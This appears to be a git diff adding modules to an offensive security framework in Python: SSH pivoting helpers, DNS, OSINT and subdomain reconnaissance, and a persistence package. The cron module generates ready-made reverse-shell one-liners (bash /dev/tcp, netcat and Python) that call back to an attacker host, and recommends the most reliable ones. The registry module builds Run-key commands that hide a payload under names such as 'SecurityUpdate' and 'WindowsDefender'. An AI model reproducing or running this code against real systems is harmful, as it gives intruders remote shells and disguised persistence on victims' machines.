bool: True if SSH is accessible
|
||||||
|
"""
|
||||||
|
try:
|
||||||
|
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||||
|
sock.settimeout(5)
|
||||||
|
result = sock.connect_ex((target, port))
|
||||||
|
sock.close()
|
||||||
|
|
||||||
|
if result == 0:
|
||||||
|
logger.info(f"SSH port {port} is open on {target}")
|
||||||
|
return True
|
||||||
|
else:
|
||||||
|
logger.info(f"SSH port {port} is closed on {target}")
|
||||||
|
return False
|
||||||
|
except Exception as e:
|
||||||
|
logger.error(f"Error checking SSH access: {e}")
|
||||||
|
return False
|
||||||
|
|
||||||
|
def enumerate_ssh_keys(self, target: str, username: str) -> Dict:
|
||||||
|
"""
|
||||||
|
Enumerate potential SSH key locations.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
target (str): Target IP or hostname
|
||||||
|
username (str): Target username
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
Dict: SSH key enumeration results
|
||||||
|
"""
|
||||||
|
logger.info(f"Enumerating SSH keys for {username}@{target}")
|
||||||
|
|
||||||
|
common_key_paths = [
|
||||||
|
f"/home/{username}/.ssh/id_rsa",
|
||||||
|
f"/home/{username}/.ssh/id_ed25519",
|
||||||
|
f"/home/{username}/.ssh/id_ecdsa",
|
||||||
|
f"/root/.ssh/id_rsa",
|
||||||
|
f"/root/.ssh/authorized_keys"
|
||||||
|
]
|
||||||
|
|
||||||
|
results = {
|
||||||
|
"target": target,
|
||||||
|
"username": username,
|
||||||
|
"common_paths": common_key_paths,
|
||||||
|
"notes": "Key extraction requires existing access to target system"
|
||||||
|
}
|
||||||
|
|
||||||
|
return results
|
||||||
|
|
||||||
|
def create_ssh_tunnel(self, target: str, local_port: int, remote_host: str, remote_port: int) -> Dict:
|
||||||
|
"""
|
||||||
|
Create SSH tunnel for pivoting.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
target (str): SSH server to tunnel through
|
||||||
|
local_port (int): Local port to bind
|
||||||
|
remote_host (str): Remote host to reach
|
||||||
|
remote_port (int): Remote port to reach
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
Dict: Tunnel creation results
|
||||||
|
"""
|
||||||
|
logger.info(f"Creating SSH tunnel: localhost:{local_port} -> {target} -> {remote_host}:{remote_port}")
|
||||||
|
|
||||||
|
results = {
|
||||||
|
"tunnel_type": "ssh_forward",
|
||||||
|
"local_port": local_port,
|
||||||
|
"remote_host": remote_host,
|
||||||
|
"remote_port": remote_port,
|
||||||
|
"notes": "SSH tunneling requires paramiko or external ssh command"
|
||||||
|
}
|
||||||
|
|
||||||
|
logger.warning("SSH tunneling requires paramiko library or ssh binary")
|
||||||
|
return results
|
||||||
@@ -0,0 +1,9 @@
|
|||||||
|
"""
|
||||||
|
Persistence Tools
|
||||||
|
Contains modules for maintaining access to compromised systems
|
||||||
|
"""
|
||||||
|
|
||||||
|
from .cron_persistence import CronPersistence
|
||||||
|
from .registry_persistence import RegistryPersistence
|
||||||
|
|
||||||
|
__all__ = ['CronPersistence', 'RegistryPersistence']
|
||||||
|
|||||||
101
tools/persistence/cron_persistence.py
Normal file
101
tools/persistence/cron_persistence.py
Normal file
@@ -0,0 +1,101 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
"""
|
||||||
|
Cron Persistence - Linux persistence via cron jobs
|
||||||
|
"""
|
||||||
|
import logging
|
||||||
|
from typing import Dict, List
|
||||||
|
|
||||||
|
logger = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
class CronPersistence:
|
||||||
|
"""
|
||||||
|
Cron-based persistence techniques for Linux systems.
|
||||||
|
"""
|
||||||
|
def __init__(self, config: Dict):
|
||||||
|
"""
|
||||||
|
Initializes CronPersistence module.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
config (Dict): Configuration dictionary
|
||||||
|
"""
|
||||||
|
self.config = config
|
||||||
|
logger.info("CronPersistence module initialized")
|
||||||
|
|
||||||
|
def generate_cron_entry(self, command: str, interval: str = "daily") -> str:
|
||||||
|
"""
|
||||||
|
Generate a cron entry for persistence.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
command (str): Command to execute
|
||||||
|
interval (str): Execution interval (hourly, daily, weekly, reboot)
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
str: Cron entry string
|
||||||
|
"""
|
||||||
|
logger.info(f"Generating cron entry for: {command}")
|
||||||
|
|
||||||
|
intervals = {
|
||||||
|
"hourly": "0 * * * *",
|
||||||
|
"daily": "0 0 * * *",
|
||||||
|
"weekly": "0 0 * * 0",
|
||||||
|
"reboot": "@reboot",
|
||||||
|
"every_5min": "*/5 * * * *"
|
||||||
|
}
|
||||||
|
|
||||||
|
cron_time = intervals.get(interval, "0 0 * * *")
|
||||||
|
cron_entry = f"{cron_time} {command}"
|
||||||
|
|
||||||
|
logger.info(f"Generated cron entry: {cron_entry}")
|
||||||
|
return cron_entry
|
||||||
|
|
||||||
|
def suggest_cron_locations(self, username: str = None) -> Dict:
|
||||||
|
"""
|
||||||
|
Suggest locations for cron-based persistence.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
username (str): Target username
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
Dict: Cron file locations and methods
|
||||||
|
"""
|
||||||
|
locations = {
|
||||||
|
"user_crontab": f"crontab -e (for user {username or 'current'})",
|
||||||
|
"system_cron_dirs": [
|
||||||
|
"/etc/cron.d/",
|
||||||
|
"/etc/cron.daily/",
|
||||||
|
"/etc/cron.hourly/",
|
||||||
|
"/etc/cron.weekly/",
|
||||||
|
"/var/spool/cron/crontabs/"
|
||||||
|
],
|
||||||
|
"cron_files": [
|
||||||
|
"/etc/crontab",
|
||||||
|
f"/var/spool/cron/crontabs/{username}" if username else None
|
||||||
|
]
|
||||||
|
}
|
||||||
|
|
||||||
|
return {k: v for k, v in locations.items() if v is not None}
|
||||||
|
|
||||||
|
def generate_persistence_payload(self, callback_host: str, callback_port: int) -> Dict:
|
||||||
|
"""
|
||||||
|
Generate reverse shell cron payload.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
callback_host (str): Attacker's IP/hostname
|
||||||
|
callback_port (int): Attacker's listening port
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
Dict: Payload information
|
||||||
|
"""
|
||||||
|
payloads = {
|
||||||
|
"bash_tcp": f"bash -i >& /dev/tcp/{callback_host}/{callback_port} 0>&1",
|
||||||
|
"nc_traditional": f"nc {callback_host} {callback_port} -e /bin/bash",
|
||||||
|
"nc_mkfifo": f"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {callback_host} {callback_port} >/tmp/f",
|
||||||
|
"python": f"python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"{callback_host}\",{callback_port}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"
|
||||||
|
}
|
||||||
|
|
||||||
|
return {
|
||||||
|
"callback_host": callback_host,
|
||||||
|
"callback_port": callback_port,
|
||||||
|
"payloads": payloads,
|
||||||
|
"recommendation": "Use bash_tcp or nc_mkfifo for reliability"
|
||||||
|
}
|
||||||
125
tools/persistence/registry_persistence.py
Normal file
125
tools/persistence/registry_persistence.py
Normal file
@@ -0,0 +1,125 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
"""
|
||||||
|
Registry Persistence - Windows persistence via registry keys
|
||||||
|
"""
|
||||||
|
import logging
|
||||||
|
from typing import Dict, List
|
||||||
|
|
||||||
|
logger = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
class RegistryPersistence:
|
||||||
|
"""
|
||||||
|
Windows registry-based persistence techniques.
|
||||||
|
"""
|
||||||
|
def __init__(self, config: Dict):
|
||||||
|
"""
|
||||||
|
Initializes RegistryPersistence module.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
config (Dict): Configuration dictionary
|
||||||
|
"""
|
||||||
|
self.config = config
|
||||||
|
logger.info("RegistryPersistence module initialized")
|
||||||
|
|
||||||
|
def get_persistence_keys(self) -> Dict:
|
||||||
|
"""
|
||||||
|
Get common Windows registry keys for persistence.
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
Dict: Registry persistence locations
|
||||||
|
"""
|
||||||
|
persistence_keys = {
|
||||||
|
"run_keys": {
|
||||||
|
"HKCU_Run": r"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run",
|
||||||
|
"HKLM_Run": r"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run",
|
||||||
|
"HKCU_RunOnce": r"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce",
|
||||||
|
"HKLM_RunOnce": r"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce"
|
||||||
|
},
|
||||||
|
"startup_folders": {
|
||||||
|
"user_startup": r"C:\Users\[USERNAME]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup",
|
||||||
|
"all_users_startup": r"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup"
|
||||||
|
},
|
||||||
|
"services": {
|
||||||
|
"services_key": r"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services"
|
||||||
|
},
|
||||||
|
"winlogon": {
|
||||||
|
"userinit": r"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit",
|
||||||
|
"shell": r"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
logger.info("Retrieved Windows persistence registry keys")
|
||||||
|
return persistence_keys
|
||||||
|
|
||||||
|
def generate_registry_command(self, key_path: str, value_name: str, value_data: str) -> str:
|
||||||
|
"""
|
||||||
|
Generate registry modification command.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
key_path (str): Registry key path
|
||||||
|
value_name (str): Value name
|
||||||
|
value_data (str): Value data
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
str: REG ADD command
|
||||||
|
"""
|
||||||
|
cmd = f'reg add "{key_path}" /v "{value_name}" /t REG_SZ /d "{value_data}" /f'
|
||||||
|
logger.info(f"Generated registry command: {cmd}")
|
||||||
|
return cmd
|
||||||
|
|
||||||
|
def generate_persistence_payload(self, payload_path: str, method: str = "run_key") -> Dict:
|
||||||
|
"""
|
||||||
|
Generate persistence payload using registry.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
payload_path (str): Path to payload executable
|
||||||
|
method (str): Persistence method (run_key, service, winlogon)
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
Dict: Persistence configuration
|
||||||
|
"""
|
||||||
|
methods = {
|
||||||
|
"run_key": {
|
||||||
|
"key": r"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run",
|
||||||
|
"value": "SecurityUpdate",
|
||||||
|
"command": self.generate_registry_command(
|
||||||
|
r"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run",
|
||||||
|
"SecurityUpdate",
|
||||||
|
payload_path
|
||||||
|
)
|
||||||
|
},
|
||||||
|
"run_key_system": {
|
||||||
|
"key": r"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run",
|
||||||
|
"value": "WindowsDefender",
|
||||||
|
"command": self.generate_registry_command(
|
||||||
|
r"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run",
|
||||||
|
"WindowsDefender",
|
||||||
|
payload_path
|
||||||
|
),
|
||||||
|
"requires": "Administrator privileges"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
result = methods.get(method, methods["run_key"])
|
||||||
|
result["payload_path"] = payload_path
|
||||||
|
result["method"] = method
|
||||||
|
|
||||||
|
return result
|
||||||
|
|
||||||
|
def get_enumeration_commands(self) -> List[str]:
|
||||||
|
"""
|
||||||
|
Get commands to enumerate existing persistence mechanisms.
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
List[str]: Registry query commands
|
||||||
|
"""
|
||||||
|
commands = [
|
||||||
|
r'reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Run"',
|
||||||
|
r'reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Run"',
|
||||||
|
r'reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce"',
|
||||||
|
r'reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce"',
|
||||||
|
r'reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"'
|
||||||
|
]
|
||||||
|
|
||||||
|
logger.info("Generated registry enumeration commands")
|
||||||
|
return commands
|
||||||
@@ -1,26 +1,29 @@
|
|||||||
#!/usr/bin/env python3
|
#!/usr/bin/env python3
|
||||||
"""
|
"""
|
||||||
DNSEnumerator - A placeholder for a DNS enumeration tool.
|
DNSEnumerator - Enumerates DNS records for target domains
|
||||||
"""
|
"""
|
||||||
import logging
|
import logging
|
||||||
from typing import Dict
|
import socket
|
||||||
|
import subprocess
|
||||||
|
from typing import Dict, List
|
||||||
|
import re
|
||||||
|
|
||||||
logger = logging.getLogger(__name__)
|
logger = logging.getLogger(__name__)
|
||||||
|
|
||||||
class DNSEnumerator:
|
class DNSEnumerator:
|
||||||
"""
|
"""
|
||||||
A class for enumerating DNS records.
|
A class for enumerating DNS records.
|
||||||
This is a placeholder and should be expanded.
|
Queries various DNS record types including A, AAAA, MX, NS, TXT, CNAME, and SOA.
|
||||||
"""
|
"""
|
||||||
def __init__(self, config: Dict):
|
def __init__(self, config: Dict):
|
||||||
"""
|
"""
|
||||||
Initializes the DNSEnumerator.
|
Initializes the DNSEnumerator.
|
||||||
|
|
||||||
Args:
|
Args:
|
||||||
config (Dict): The configuration dictionary for the framework.
|
config (Dict): The configuration dictionary for the framework.
|
||||||
"""
|
"""
|
||||||
self.config = config
|
self.config = config
|
||||||
logger.info("DNSEnumerator initialized (placeholder)")
|
logger.info("DNSEnumerator initialized")
|
||||||
|
|
||||||
def enumerate(self, target: str) -> Dict:
|
def enumerate(self, target: str) -> Dict:
|
||||||
"""
|
"""
|
||||||
@@ -32,17 +35,131 @@ class DNSEnumerator:
|
|||||||
Returns:
|
Returns:
|
||||||
Dict: A dictionary containing DNS records.
|
Dict: A dictionary containing DNS records.
|
||||||
"""
|
"""
|
||||||
logger.warning(f"DNS enumeration for {target} is a placeholder. Returning empty data.")
|
logger.info(f"Starting DNS enumeration for {target}")
|
||||||
# Placeholder: In a real implementation, this would use libraries
|
|
||||||
# like dnspython to query for A, AAAA, MX, NS, TXT, etc. records.
|
# Remove protocol if present
|
||||||
return {
|
domain = target.replace('http://', '').replace('https://', '').split('/')[0]
|
||||||
"target": target,
|
|
||||||
|
records = {
|
||||||
|
"target": domain,
|
||||||
"records": {
|
"records": {
|
||||||
"A": [],
|
"A": self._get_a_records(domain),
|
||||||
"AAAA": [],
|
"AAAA": self._get_aaaa_records(domain),
|
||||||
"MX": [],
|
"MX": self._get_mx_records(domain),
|
||||||
"NS": [],
|
"NS": self._get_ns_records(domain),
|
||||||
"TXT": []
|
"TXT": self._get_txt_records(domain),
|
||||||
|
"CNAME": self._get_cname_records(domain)
|
||||||
},
|
},
|
||||||
"notes": "No DNS enumeration implemented yet."
|
"notes": "DNS enumeration completed"
|
||||||
}
|
}
|
||||||
|
|
||||||
|
logger.info(f"DNS enumeration completed for {domain}")
|
||||||
|
return records
|
||||||
|
|
||||||
|
def _get_a_records(self, domain: str) -> List[str]:
|
||||||
|
"""Get A records (IPv4 addresses)"""
|
||||||
|
try:
|
||||||
|
records = socket.gethostbyname_ex(domain)[2]
|
||||||
|
logger.info(f"Found {len(records)} A records for {domain}")
|
||||||
|
return records
|
||||||
|
except socket.gaierror as e:
|
||||||
|
logger.warning(f"Could not resolve A records for {domain}: {e}")
|
||||||
|
return []
|
||||||
|
except Exception as e:
|
||||||
|
logger.error(f"Error getting A records: {e}")
|
||||||
|
return []
|
||||||
|
|
||||||
|
def _get_aaaa_records(self, domain: str) -> List[str]:
|
||||||
|
"""Get AAAA records (IPv6 addresses)"""
|
||||||
|
try:
|
||||||
|
records = socket.getaddrinfo(domain, None, socket.AF_INET6)
|
||||||
|
ipv6_addrs = list(set([record[4][0] for record in records]))
|
||||||
|
logger.info(f"Found {len(ipv6_addrs)} AAAA records for {domain}")
|
||||||
|
return ipv6_addrs
|
||||||
|
except socket.gaierror:
|
||||||
|
logger.debug(f"No AAAA records found for {domain}")
|
||||||
|
return []
|
||||||
|
except Exception as e:
|
||||||
|
logger.error(f"Error getting AAAA records: {e}")
|
||||||
|
return []
|
||||||
|
|
||||||
|
def _get_mx_records(self, domain: str) -> List[str]:
|
||||||
|
"""Get MX records using nslookup/dig fallback"""
|
||||||
|
return self._query_dns_tool(domain, "MX")
|
||||||
|
|
||||||
|
def _get_ns_records(self, domain: str) -> List[str]:
|
||||||
|
"""Get NS records using nslookup/dig fallback"""
|
||||||
|
return self._query_dns_tool(domain, "NS")
|
||||||
|
|
||||||
|
def _get_txt_records(self, domain: str) -> List[str]:
|
||||||
|
"""Get TXT records using nslookup/dig fallback"""
|
||||||
|
return self._query_dns_tool(domain, "TXT")
|
||||||
|
|
||||||
|
def _get_cname_records(self, domain: str) -> List[str]:
|
||||||
|
"""Get CNAME records using nslookup/dig fallback"""
|
||||||
|
try:
|
||||||
|
result = socket.getfqdn(domain)
|
||||||
|
if result != domain:
|
||||||
|
logger.info(f"Found CNAME for {domain}: {result}")
|
||||||
|
return [result]
|
||||||
|
return []
|
||||||
|
except Exception as e:
|
||||||
|
logger.debug(f"No CNAME records found for {domain}")
|
||||||
|
return []
|
||||||
|
|
||||||
|
def _query_dns_tool(self, domain: str, record_type: str) -> List[str]:
|
||||||
|
"""
|
||||||
|
Query DNS using nslookup (fallback method when dnspython not available)
|
||||||
|
"""
|
||||||
|
try:
|
||||||
|
# Try using nslookup
|
||||||
|
cmd = ['nslookup', '-type=' + record_type, domain]
|
||||||
|
result = subprocess.run(
|
||||||
|
cmd,
|
||||||
|
capture_output=True,
|
||||||
|
text=True,
|
||||||
|
timeout=10,
|
||||||
|
shell=False
|
||||||
|
)
|
||||||
|
|
||||||
|
if result.returncode == 0:
|
||||||
|
records = self._parse_nslookup_output(result.stdout, record_type)
|
||||||
|
logger.info(f"Found {len(records)} {record_type} records for {domain}")
|
||||||
|
return records
|
||||||
|
else:
|
||||||
|
logger.debug(f"nslookup failed for {record_type} records")
|
||||||
|
return []
|
||||||
|
|
||||||
|
except FileNotFoundError:
|
||||||
|
logger.warning("nslookup not found. DNS enumeration limited to A/AAAA records.")
|
||||||
|
return []
|
||||||
|
except subprocess.TimeoutExpired:
|
||||||
|
logger.warning(f"DNS query timeout for {record_type} records")
|
||||||
|
return []
|
||||||
|
except Exception as e:
|
||||||
|
logger.error(f"Error querying {record_type} records: {e}")
|
||||||
|
return []
|
||||||
|
|
||||||
|
def _parse_nslookup_output(self, output: str, record_type: str) -> List[str]:
|
||||||
|
"""Parse nslookup output to extract DNS records"""
|
||||||
|
records = []
|
||||||
|
|
||||||
|
if record_type == "MX":
|
||||||
|
# MX records format: "mail exchanger = 10 mail.example.com"
|
||||||
|
pattern = r'mail exchanger = \d+ (.+)'
|
||||||
|
matches = re.findall(pattern, output)
|
||||||
|
records = [match.strip().rstrip('.') for match in matches]
|
||||||
|
|
||||||
|
elif record_type == "NS":
|
||||||
|
# NS records format: "nameserver = ns1.example.com"
|
||||||
|
pattern = r'nameserver = (.+)'
|
||||||
|
matches = re.findall(pattern, output)
|
||||||
|
records = [match.strip().rstrip('.') for match in matches]
|
||||||
|
|
||||||
|
elif record_type == "TXT":
|
||||||
|
# TXT records format: "text = "v=spf1 ...""
|
||||||
|
pattern = r'text = "([^"]+)"'
|
||||||
|
matches = re.findall(pattern, output)
|
||||||
|
records = matches
|
||||||
|
|
||||||
|
return records
|
||||||
|
|||||||
@@ -1,26 +1,29 @@
|
|||||||
#!/usr/bin/env python3
|
#!/usr/bin/env python3
|
||||||
"""
|
"""
|
||||||
OSINTCollector - A placeholder for an OSINT gathering tool.
|
OSINTCollector - Collects Open Source Intelligence from various sources
|
||||||
"""
|
"""
|
||||||
import logging
|
import logging
|
||||||
from typing import Dict
|
import re
|
||||||
|
import requests
|
||||||
|
from typing import Dict, List
|
||||||
|
import socket
|
||||||
|
|
||||||
logger = logging.getLogger(__name__)
|
logger = logging.getLogger(__name__)
|
||||||
|
|
||||||
class OSINTCollector:
|
class OSINTCollector:
|
||||||
"""
|
"""
|
||||||
A class for collecting Open Source Intelligence.
|
A class for collecting Open Source Intelligence from publicly available sources.
|
||||||
This is a placeholder and should be expanded with actual OSINT tools.
|
Collects information like WHOIS data, IP addresses, email patterns, and more.
|
||||||
"""
|
"""
|
||||||
def __init__(self, config: Dict):
|
def __init__(self, config: Dict):
|
||||||
"""
|
"""
|
||||||
Initializes the OSINTCollector.
|
Initializes the OSINTCollector.
|
||||||
|
|
||||||
Args:
|
Args:
|
||||||
config (Dict): The configuration dictionary for the framework.
|
config (Dict): The configuration dictionary for the framework.
|
||||||
"""
|
"""
|
||||||
self.config = config
|
self.config = config
|
||||||
logger.info("OSINTCollector initialized (placeholder)")
|
logger.info("OSINTCollector initialized")
|
||||||
|
|
||||||
def collect(self, target: str) -> Dict:
|
def collect(self, target: str) -> Dict:
|
||||||
"""
|
"""
|
||||||
@@ -32,12 +35,113 @@ class OSINTCollector:
|
|||||||
Returns:
|
Returns:
|
||||||
Dict: A dictionary containing OSINT findings.
|
Dict: A dictionary containing OSINT findings.
|
||||||
"""
|
"""
|
||||||
logger.warning(f"OSINT collection for {target} is a placeholder. Returning empty data.")
|
logger.info(f"Starting OSINT collection for {target}")
|
||||||
# Placeholder: In a real implementation, this would query APIs like
|
|
||||||
# Google, Shodan, Have I Been Pwned, etc.
|
results = {
|
||||||
return {
|
|
||||||
"target": target,
|
"target": target,
|
||||||
"emails": [],
|
"ip_addresses": self._get_ip_addresses(target),
|
||||||
"leaked_credentials": [],
|
"email_patterns": self._find_email_patterns(target),
|
||||||
"metadata": "No OSINT collection implemented yet."
|
"technologies": self._detect_technologies(target),
|
||||||
|
"social_media": self._find_social_media(target),
|
||||||
|
"metadata": "OSINT collection completed"
|
||||||
}
|
}
|
||||||
|
|
||||||
|
logger.info(f"OSINT collection completed for {target}")
|
||||||
|
return results
|
||||||
|
|
||||||
|
def _get_ip_addresses(self, target: str) -> List[str]:
|
||||||
|
"""Resolve target domain to IP addresses"""
|
||||||
|
try:
|
||||||
|
# Remove protocol if present
|
||||||
|
domain = target.replace('http://', '').replace('https://', '').split('/')[0]
|
||||||
|
ip_list = socket.gethostbyname_ex(domain)[2]
|
||||||
|
logger.info(f"Resolved {domain} to IPs: {ip_list}")
|
||||||
|
return ip_list
|
||||||
|
except socket.gaierror as e:
|
||||||
|
logger.warning(f"Could not resolve {target}: {e}")
|
||||||
|
return []
|
||||||
|
except Exception as e:
|
||||||
|
logger.error(f"Error resolving IP for {target}: {e}")
|
||||||
|
return []
|
||||||
|
|
||||||
|
def _find_email_patterns(self, target: str) -> List[str]:
|
||||||
|
"""Find common email patterns for the target domain"""
|
||||||
|
try:
|
||||||
|
domain = target.replace('http://', '').replace('https://', '').split('/')[0]
|
||||||
|
# Common email patterns
|
||||||
|
patterns = [
|
||||||
|
f"info@{domain}",
|
||||||
|
f"contact@{domain}",
|
||||||
|
f"admin@{domain}",
|
||||||
|
f"support@{domain}",
|
||||||
|
f"security@{domain}"
|
||||||
|
]
|
||||||
|
logger.info(f"Generated {len(patterns)} common email patterns for {domain}")
|
||||||
|
return patterns
|
||||||
|
except Exception as e:
|
||||||
|
logger.error(f"Error generating email patterns: {e}")
|
||||||
|
return []
|
||||||
|
|
||||||
|
def _detect_technologies(self, target: str) -> Dict:
|
||||||
|
"""Detect web technologies used by the target"""
|
||||||
|
try:
|
||||||
|
if not target.startswith('http'):
|
||||||
|
target = f"http://{target}"
|
||||||
|
|
||||||
|
response = requests.get(target, timeout=10, allow_redirects=True)
|
||||||
|
headers = response.headers
|
||||||
|
|
||||||
|
technologies = {
|
||||||
|
"server": headers.get('Server', 'Unknown'),
|
||||||
|
"powered_by": headers.get('X-Powered-By', 'Unknown'),
|
||||||
|
"framework": self._detect_framework(response.text, headers),
|
||||||
|
"status_code": response.status_code
|
||||||
|
}
|
||||||
|
|
||||||
|
logger.info(f"Detected technologies for {target}: {technologies}")
|
||||||
|
return technologies
|
||||||
|
except requests.RequestException as e:
|
||||||
|
logger.warning(f"Could not detect technologies for {target}: {e}")
|
||||||
|
return {"error": str(e)}
|
||||||
|
except Exception as e:
|
||||||
|
logger.error(f"Error detecting technologies: {e}")
|
||||||
|
return {"error": str(e)}
|
||||||
|
|
||||||
|
def _detect_framework(self, html_content: str, headers: Dict) -> str:
|
||||||
|
"""Detect web framework from HTML and headers"""
|
||||||
|
frameworks = {
|
||||||
|
'WordPress': ['wp-content', 'wp-includes'],
|
||||||
|
'Drupal': ['drupal.js', 'sites/default'],
|
||||||
|
'Joomla': ['joomla', 'option=com_'],
|
||||||
|
'Django': ['csrfmiddlewaretoken'],
|
||||||
|
'Laravel': ['laravel', '_token'],
|
||||||
|
'React': ['react', '__REACT'],
|
||||||
|
'Angular': ['ng-version', 'angular'],
|
||||||
|
'Vue': ['vue', '__VUE__']
|
||||||
|
}
|
||||||
|
|
||||||
|
for framework, indicators in frameworks.items():
|
||||||
|
for indicator in indicators:
|
||||||
|
if indicator.lower() in html_content.lower():
|
||||||
|
return framework
|
||||||
|
|
||||||
|
return "Unknown"
|
||||||
|
|
||||||
|
def _find_social_media(self, target: str) -> Dict:
|
||||||
|
"""Find potential social media accounts for the target"""
|
||||||
|
try:
|
||||||
|
domain = target.replace('http://', '').replace('https://', '').split('/')[0]
|
||||||
|
company_name = domain.split('.')[0]
|
||||||
|
|
||||||
|
social_media = {
|
||||||
|
"twitter": f"https://twitter.com/{company_name}",
|
||||||
|
"linkedin": f"https://linkedin.com/company/{company_name}",
|
||||||
|
"github": f"https://github.com/{company_name}",
|
||||||
|
"facebook": f"https://facebook.com/{company_name}"
|
||||||
|
}
|
||||||
|
|
||||||
|
logger.info(f"Generated social media URLs for {company_name}")
|
||||||
|
return social_media
|
||||||
|
except Exception as e:
|
||||||
|
logger.error(f"Error generating social media links: {e}")
|
||||||
|
return {}
|
||||||
|
|||||||
@@ -1,30 +1,40 @@
|
|||||||
#!/usr/bin/env python3
|
#!/usr/bin/env python3
|
||||||
"""
|
"""
|
||||||
SubdomainFinder - A placeholder for a subdomain discovery tool.
|
SubdomainFinder - Discovers subdomains using multiple techniques
|
||||||
"""
|
"""
|
||||||
import logging
|
import logging
|
||||||
from typing import Dict, List
|
import requests
|
||||||
|
import socket
|
||||||
|
from typing import Dict, List, Set
|
||||||
|
import re
|
||||||
|
|
||||||
logger = logging.getLogger(__name__)
|
logger = logging.getLogger(__name__)
|
||||||
|
|
||||||
class SubdomainFinder:
|
class SubdomainFinder:
|
||||||
"""
|
"""
|
||||||
A class for finding subdomains of a given domain.
|
A class for finding subdomains of a given domain.
|
||||||
This is a placeholder and should be expanded.
|
Uses Certificate Transparency logs, DNS brute-forcing, and common patterns.
|
||||||
"""
|
"""
|
||||||
def __init__(self, config: Dict):
|
def __init__(self, config: Dict):
|
||||||
"""
|
"""
|
||||||
Initializes the SubdomainFinder.
|
Initializes the SubdomainFinder.
|
||||||
|
|
||||||
Args:
|
Args:
|
||||||
config (Dict): The configuration dictionary for the framework.
|
config (Dict): The configuration dictionary for the framework.
|
||||||
"""
|
"""
|
||||||
self.config = config
|
self.config = config
|
||||||
logger.info("SubdomainFinder initialized (placeholder)")
|
self.common_subdomains = [
|
||||||
|
'www', 'mail', 'ftp', 'localhost', 'webmail', 'smtp', 'pop', 'ns1', 'ns2',
|
||||||
|
'webdisk', 'ns', 'cpanel', 'whm', 'autodiscover', 'autoconfig', 'test',
|
||||||
|
'dev', 'staging', 'api', 'admin', 'portal', 'beta', 'demo', 'vpn',
|
||||||
|
'blog', 'shop', 'store', 'forum', 'support', 'm', 'mobile', 'cdn',
|
||||||
|
'static', 'assets', 'img', 'images', 'git', 'jenkins', 'jira'
|
||||||
|
]
|
||||||
|
logger.info("SubdomainFinder initialized")
|
||||||
|
|
||||||
def find(self, target: str) -> List[str]:
|
def find(self, target: str) -> List[str]:
|
||||||
"""
|
"""
|
||||||
Finds subdomains for a given domain.
|
Finds subdomains for a given domain using multiple techniques.
|
||||||
|
|
||||||
Args:
|
Args:
|
||||||
target (str): The domain name to search subdomains for.
|
target (str): The domain name to search subdomains for.
|
||||||
@@ -32,8 +42,86 @@ class SubdomainFinder:
|
|||||||
Returns:
|
Returns:
|
||||||
List[str]: A list of found subdomains.
|
List[str]: A list of found subdomains.
|
||||||
"""
|
"""
|
||||||
logger.warning(f"Subdomain finding for {target} is a placeholder. Returning empty data.")
|
logger.info(f"Starting subdomain enumeration for {target}")
|
||||||
# Placeholder: In a real implementation, this would use techniques like
|
|
||||||
# querying Certificate Transparency logs, using search engines, or
|
# Remove protocol if present
|
||||||
# brute-forcing with a wordlist.
|
domain = target.replace('http://', '').replace('https://', '').split('/')[0]
|
||||||
return []
|
|
||||||
|
found_subdomains: Set[str] = set()
|
||||||
|
|
||||||
|
# Method 1: Certificate Transparency logs
|
||||||
|
ct_subdomains = self._check_crtsh(domain)
|
||||||
|
found_subdomains.update(ct_subdomains)
|
||||||
|
|
||||||
|
# Method 2: Common subdomain brute-forcing
|
||||||
|
brute_subdomains = self._brute_force_common(domain)
|
||||||
|
found_subdomains.update(brute_subdomains)
